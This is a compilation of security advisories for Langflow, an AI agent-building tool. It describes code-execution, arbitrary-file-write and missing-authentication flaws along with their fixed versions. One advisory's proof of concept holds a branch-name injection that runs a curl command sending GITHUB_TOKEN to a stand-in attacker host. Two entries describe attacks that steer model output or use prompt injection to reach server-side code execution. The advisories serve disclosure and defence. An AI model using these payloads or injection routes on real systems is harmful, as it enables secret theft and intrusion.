Langflow vulnerabilities

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.9.0, the Agentic Assistant feature in Langflow executes LLM-generated Python code during its validation phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side. In deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution. Version 1.9.0 fixes the issue.

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`

Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.

Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. This issue has been fixed in version 1.9.0.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.8.0, the CSV Agent node in Langflow hardcodes `allow_dangerous_code=True`, which automatically exposes LangChain’s Python REPL tool (`python_repl_ast`). As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE). Version 1.8.0 fixes the issue.

Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the exec_globals parameter provided to the validate endpoint. The issue results from the inclusion of a resource from an untrusted control sphere. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27325.

Langflow eval_custom_component_code Eval Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of eval_custom_component_code function. The issue results from the lack of proper validation of a user-supplied string before using it to execute python code. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-26972.

Langflow code Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the code parameter provided to the validate endpoint. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of root. . Was ZDI-CAN-27322.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0.dev45, multiple critical API endpoints in Langflow are missing authentication controls. The issue allows any unauthenticated user to access sensitive user conversation data, transaction histories, and perform destructive operations including message deletion. This affects endpoints handling personal data and system operations that should require proper authorization. Version 1.7.0.dev45 contains a patch.